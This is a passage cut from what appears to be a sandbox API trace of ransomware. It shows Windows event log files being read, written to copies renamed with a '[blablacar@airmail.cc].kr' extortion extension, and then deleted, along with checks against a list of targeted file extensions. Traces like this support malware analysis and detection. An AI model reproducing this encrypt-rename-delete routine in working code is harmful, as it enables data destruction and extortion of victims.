(lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.568] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0096.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.568] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0097.808] GetLastError () returned 0x0 [0097.808] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0097.811] WriteFile (in: hFile=0x328, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0097.814] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.814] WriteFile (in: hFile=0x328, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x146, lpOverlapped=0x0) returned 1 [0097.814] SetEndOfFile (hFile=0x328) returned 1 [0097.814] CloseHandle (hObject=0x328) returned 1 [0097.817] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.817] SetEndOfFile (hFile=0x33c) returned 1 [0097.818] CloseHandle (hObject=0x33c) returned 1 [0097.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0097.819] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0097.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.822] lstrlenW (lpString=".doc") returned 4 [0097.822] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0097.822] lstrlenW (lpString=".docx") returned 5 [0097.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0097.822] lstrlenW (lpString=".pdf") returned 4 [0097.822] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0097.822] lstrlenW (lpString=".xls") returned 4 [0097.822] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString=".xlsx") returned 5 [0097.823] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0097.823] lstrlenW (lpString=".ppt") returned 4 [0097.823] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.823] lstrlenW (lpString=".zip") returned 4 [0097.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString=".rar") returned 4 [0097.823] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString=".bz2") returned 4 [0097.823] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString=".7z") returned 3 [0097.823] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0097.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.823] lstrlenW (lpString=".dbf") returned 4 [0097.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.823] lstrlenW (lpString=".1cd") returned 4 [0097.823] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.823] lstrlenW (lpString=".jpg") returned 4 [0097.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0097.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.824] lstrlenW (lpString=".doc") returned 4 [0097.824] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString=".docx") returned 5 [0097.824] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0097.824] lstrlenW (lpString=".pdf") returned 4 [0097.824] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString=".xls") returned 4 [0097.824] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString=".xlsx") returned 5 [0097.824] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0097.824] lstrlenW (lpString=".ppt") returned 4 [0097.824] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.824] lstrlenW (lpString=".zip") returned 4 [0097.824] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString=".rar") returned 4 [0097.824] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0097.824] lstrlenW (lpString=".bz2") returned 4 [0097.825] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0097.825] lstrlenW (lpString=".7z") returned 3 [0097.825] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0097.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.825] lstrlenW (lpString=".dbf") returned 4 [0097.825] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0097.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.825] lstrlenW (lpString=".1cd") returned 4 [0097.825] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0097.825] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0097.825] lstrlenW (lpString=".jpg") returned 4 [0097.825] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0097.825] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0097.825] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0097.825] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0097.826] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0097.826] CloseHandle (hObject=0x2b4) returned 1 [0097.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0097.826] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0097.826] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0097.826] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.827] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0097.827] GetLastError () returned 0x0 [0097.827] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0097.830] WriteFile (in: hFile=0x33c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0097.833] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.833] WriteFile (in: hFile=0x33c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x130, lpOverlapped=0x0) returned 1 [0097.833] SetEndOfFile (hFile=0x33c) returned 1 [0097.833] CloseHandle (hObject=0x33c) returned 1 [0097.844] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.844] SetEndOfFile (hFile=0x2b4) returned 1 [0097.845] CloseHandle (hObject=0x2b4) returned 1 [0097.845] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0097.845] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0097.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.846] lstrlenW (lpString=".doc") returned 4 [0097.846] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".docx") returned 5 [0097.846] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0097.846] lstrlenW (lpString=".pdf") returned 4 [0097.846] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".xls") returned 4 [0097.846] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".xlsx") returned 5 [0097.846] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0097.846] lstrlenW (lpString=".ppt") returned 4 [0097.846] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.846] lstrlenW (lpString=".zip") returned 4 [0097.846] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".rar") returned 4 [0097.846] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".bz2") returned 4 [0097.846] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0097.846] lstrlenW (lpString=".7z") returned 3 [0097.847] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.847] lstrlenW (lpString=".dbf") returned 4 [0097.847] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.847] lstrlenW (lpString=".1cd") returned 4 [0097.847] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.847] lstrlenW (lpString=".jpg") returned 4 [0097.847] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.847] lstrlenW (lpString=".doc") returned 4 [0097.847] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString=".docx") returned 5 [0097.847] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0097.847] lstrlenW (lpString=".pdf") returned 4 [0097.847] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString=".xls") returned 4 [0097.847] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString=".xlsx") returned 5 [0097.847] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0097.847] lstrlenW (lpString=".ppt") returned 4 [0097.847] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0097.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.848] lstrlenW (lpString=".zip") returned 4 [0097.848] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0097.848] lstrlenW (lpString=".rar") returned 4 [0097.848] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0097.848] lstrlenW (lpString=".bz2") returned 4 [0097.848] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0097.848] lstrlenW (lpString=".7z") returned 3 [0097.848] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0097.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.848] lstrlenW (lpString=".dbf") returned 4 [0097.848] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0097.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.848] lstrlenW (lpString=".1cd") returned 4 [0097.848] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0097.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0097.848] lstrlenW (lpString=".jpg") returned 4 [0097.848] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0097.848] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0097.848] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0097.848] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0097.849] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0097.849] CloseHandle (hObject=0x2b4) returned 1 [0097.849] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0097.849] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0097.849] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0097.849] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.849] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.850] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.365] GetLastError () returned 0x0 [0099.365] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0099.452] WriteFile (in: hFile=0x380, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0099.454] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0099.454] WriteFile (in: hFile=0x380, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x128, lpOverlapped=0x0) returned 1 [0099.454] SetEndOfFile (hFile=0x380) returned 1 [0099.455] CloseHandle (hObject=0x380) returned 1 [0099.457] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.457] SetEndOfFile (hFile=0x2b4) returned 1 [0099.459] CloseHandle (hObject=0x2b4) returned 1 [0099.459] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.460] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0099.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.460] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.460] lstrlenW (lpString=".doc") returned 4 [0099.460] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.460] lstrlenW (lpString=".docx") returned 5 [0099.460] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.460] lstrlenW (lpString=".pdf") returned 4 [0099.460] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.460] lstrlenW (lpString=".xls") returned 4 [0099.461] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString=".xlsx") returned 5 [0099.461] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.461] lstrlenW (lpString=".ppt") returned 4 [0099.461] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.461] lstrlenW (lpString=".zip") returned 4 [0099.461] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString=".rar") returned 4 [0099.461] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString=".bz2") returned 4 [0099.461] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString=".7z") returned 3 [0099.461] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.461] lstrlenW (lpString=".dbf") returned 4 [0099.461] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.461] lstrlenW (lpString=".1cd") returned 4 [0099.461] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.461] lstrlenW (lpString=".jpg") returned 4 [0099.461] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.461] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.462] lstrlenW (lpString=".doc") returned 4 [0099.462] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".docx") returned 5 [0099.462] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0099.462] lstrlenW (lpString=".pdf") returned 4 [0099.462] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".xls") returned 4 [0099.462] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".xlsx") returned 5 [0099.462] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0099.462] lstrlenW (lpString=".ppt") returned 4 [0099.462] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.462] lstrlenW (lpString=".zip") returned 4 [0099.462] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".rar") returned 4 [0099.462] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".bz2") returned 4 [0099.462] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0099.462] lstrlenW (lpString=".7z") returned 3 [0099.462] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0099.462] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.462] lstrlenW (lpString=".dbf") returned 4 [0099.463] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0099.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.463] lstrlenW (lpString=".1cd") returned 4 [0099.463] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0099.463] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0099.463] lstrlenW (lpString=".jpg") returned 4 [0099.463] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0099.463] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0099.463] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0099.463] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0099.463] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0099.464] CloseHandle (hObject=0x2b4) returned 1 [0099.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0099.464] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0099.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0099.464] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.464] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0099.464] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.465] GetLastError () returned 0x0 [0099.466] ReadFile (in: hFile=0x2b4, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, 